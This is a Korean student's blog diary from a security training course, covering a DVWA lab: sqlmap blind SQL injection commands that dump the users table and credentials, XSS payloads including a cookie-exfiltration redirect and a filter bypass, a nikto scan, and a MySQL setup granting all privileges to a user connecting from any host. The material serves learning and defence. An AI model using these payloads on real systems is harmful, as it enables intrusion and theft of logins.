

오늘은~ 걸스끼리 로제마라샹궈에 크림새우 조짐
ㄹㅇ 개맛도리에염
다들 맛있는 거 싸들고 피크닉 가자구염><

1. 복습
1) Nat와 host only랑 브릿지
① Nat
i. 밖으로 나갈 수 있는
ii. 1대 다가 가능한 연결 방식
iii. 할당은 dhcp가 함
iv. 사설 ip에서 공인 ip로 바꾸는 기술
② 호스트 온리
i. 1대1 연결
③ 브릿지
i. 공유기 ip 그대로 받아와서 그대로 사용
2. SQL injection (by using sqlmap)
1) 출처
① https://maker5587.tistory.com/55
2) dvwa 실습환경 구성
① DVWA Security 들어가기

i. Low로 보안 단계 설정해주기
3) sqlmap
① 칼리 리눅스에서 제공하는 SQL injection 공격 자동화 도구
② 사람이 일일이 모든 경우의 수와 함수를 입력하며 공격을 수행할 수가 없잖슴?
③ 그래서 사용하는 거임
4) DB이름을 알아내는 공격
① 1 쳐보기

② 7 쳐보기

③ 해당 번호의 사용자가 존재하는지, 존재하지 않는지에 따라 나오는 문구가 다름
5) 쿠키값 가져오기

6) 공격문 작성
① sqlmap -u "[해당페이지] --cookie = "쿠키값" --current-db
i. 쿠키값은 f12누르고 console에서 document.cookie 치면 나옴
② sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=2&Submit=Submit#" --cookie="PHPSESSID=15a1511205d5345fb265708753e2abee; security=low" --current-유
7) 결과

① Boolean-based blind
i. 참/거짓 반응 차이를 이용해 데이터를 추론 가능함
ii. Payload의 AND 6997=6997 부분
② Time-based blind
i. 서버의 응답 시간을 지연시켜 데이터를 추론 가능함
ii. Payload의 SLEEP(5) 부분
③ current database
i. dvwa
8) 테이블 목록 확인해보기
① sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=2&Submit=Submit" --cookie="PHPSESSID=15a1511205d5345fb265708753e2abee; security=low" -D dvwa --tables

② 추출된 테이블
i. access_log
- 접속 기록
ii. Guestbook
- 방명록 데이터
iii. security_log
- 보안 관련 로그
iv. Users
- 가장 중요한 테이블로
- 사용자 아이디와 비밀번호 해시가 들어있을 가능성이 높음
9) 컬럼 목록 확인
① User 테이블 확인해 볼거임
② 공격
i. sqlmap -u "[취약 페이지]" --cookie="쿠키값" -D dvwa -T users –columns
ii. sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=2&Submit=Submit" --cookie="PHPSESSID=15a1511205d5345fb265708753e2abee; security=low" -D dvwa -T users –columns
③ 결과

10) 아이디랑 ps 뽑아내보기
① 공격
i. sqlmap -u "취약 페이지" --cookie="쿠키값" -D dvwa -T users -C "user,password" --dump
ii. sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=2&Submit=Submit" --cookie="PHPSESSID=15a1511205d5345fb265708753e2abee; security=low" -D dvwa -T users -C "user,password" --dump
② 결과

i. 아이디랑 비번이 잘 나오는 것을 확인할 수 있다
③ 확인
i. 4번 유저인 pablo – letmein로 로그인해보자

- 잘 되는 것을 할 수 있다~
11) Blind SQL Injection 대응 방안
① Prepared statement 구문을 사용해서 입력된 값은 모두 문자열로 처리되도록 하면 됨
3. Xss
1) 출처
① https://velog.io/@dhk22/Kali-Linux-DVWA%EC%8B%A4%EC%8A%B5-XSS
2) 저장 방식에 따른 종류

3) 취약점 확인
① script코드 요청

i. 결과 확인

② 쿠키 탈취
i. <script>alert(document.cookie)</script>
ii. 결과 확인

- 잘 탈취되는 것을 볼 수 있다~
4) XSS 할 때 해당 결과가 로그로 찍히게 해보기
① 터미널
i. sudo tail -f /var/log/apache2/access.log
② Dvwa
i. <script>document.location='http://127.0.0.1/cookie?' + document.cookie;</script>
③ 확인

i. 쿠키가 잘 탈취된 것을 볼 수 있다
5) 미디움 단계
① <script>를 공백으로 치환함
② 우회 방법
i. <scr<script>ipt>alert(1)</script>
6) High 단계
① high 단계에서는 htmlspecialchars() 함수를 통해서 html 태그에 사용되는 중요한 특수문자들을 기능하지 않게 만들고 단순히 문자로서 표시되게 만들고 있음
i. htmlspecialchars() 함수
ii. html 태그에 사용되는 특수문자들을 걍 문자열로 만듦
② 현재 가장 많이 사용되고 있는 XSS 공격 대응 방법이라고 함 = 우회 어떻게 하는지 모르겠음
7) XSS 취약점을 체크
① nikto -h http://127.0.0.1/DVWA/

② 분석
i. .git 디렉토리 노출 ([006530] 등)
- 전체 소스코드를 복구하거나, 코드 내부에 숨겨진 DB 비밀번호, API 키 등을 훔칠 수도 있다~
ii. Directory Indexing ([750500])
- /config/, /database/, /docs/, /tests/ 경로의 파일 목록이 브라우저에서 그대로 보임
- 특히 /config/에는 DB 접속 정보가 담긴 파일이 있을 가능성이 매우 높고
- /database/에는 백업 데이터가 있을 수 있어 매우 위험함
iii. Content-Security-Policy (CSP) 누락
- 이게 없으면 XSS 공격을 막기 어려움
- 브라우저가 어떤 스크립트를 실행할지 통제하지 못하기 때문임
iv. X-Content-Type-Options 누락
- 브라우저가 파일의 타입을 마음대로 추측해서 실행(MIME Sniffing)하게 둠
- .txt 파일 안에 악성 코드를 넣어도 실행될 수도 있음
v. Strict-Transport-Security (HSTS) 누락
- HTTPS 강제 연결 설정이 없어, 중간자 공격(MitM)을 통해 데이터를 가로챌 수 있음
4. Exsi에 mysql 올리기
1) 가상 머신 생성
① 이름: MySQL-Server
② 게스트 OS 패밀리: Linux
③ 게스트 OS 버전: Ubuntu Linux (64비트)
2) 스토리지 선택

3) 사용자 지정 설정

① cd/DVD 드라이브 1

4) 설치 시작
① sudo apt update
② sudo apt install mysql-server -y
③ 확인

i. 8.0.45가 잘 깔린 것을 알 수 있다~
5) ㄹㅇ 시작
① sudo systemctl restart mysql
② sudo mysql
6) 사용자 생성 및 권한 부여
① 모든 호스트(%)에서 접속 가능한 사용자 생성
i. CREATE USER '[아이디]'%' IDENTIFIED BY '[비밀번호]
② 모든 DB에 대한 관리자 권한(ALL PRIVILEGES) 부여
i. GRANT ALL PRIVILEGES ON *.* TO 'admin_user'@'%' WITH GRANT OPTION;
③ 변경사항 적용
i. FLUSH PRIVILEGES;
④ 종료
i. EXIT;
'시큐리티아카데미 7기 - sk쉴더스트랙 > 프로젝트' 카테고리의 다른 글
| [시큐리티 아카데미 7기 - sk쉴더스 트랙] 프로젝트 6일차 - 2026.04.16 (0) | 2026.04.16 |
|---|---|
| [시큐리티 아카데미 7기 - sk쉴더스 트랙] 프로젝트 5일차 - 2026.04.15 (1) | 2026.04.16 |
| [시큐리티 아카데미 7기 - sk쉴더스 트랙] 프로젝트 3일차 - 2026.04.13 (0) | 2026.04.14 |
| [시큐리티 아카데미 7기 - sk쉴더스 트랙] 프로젝트 2일차 - 2026.04.10 (1) | 2026.04.13 |
| [시큐리티 아카데미 7기 - sk쉴더스 트랙] 프로젝트 1일차 - 2026.04.09 (0) | 2026.04.13 |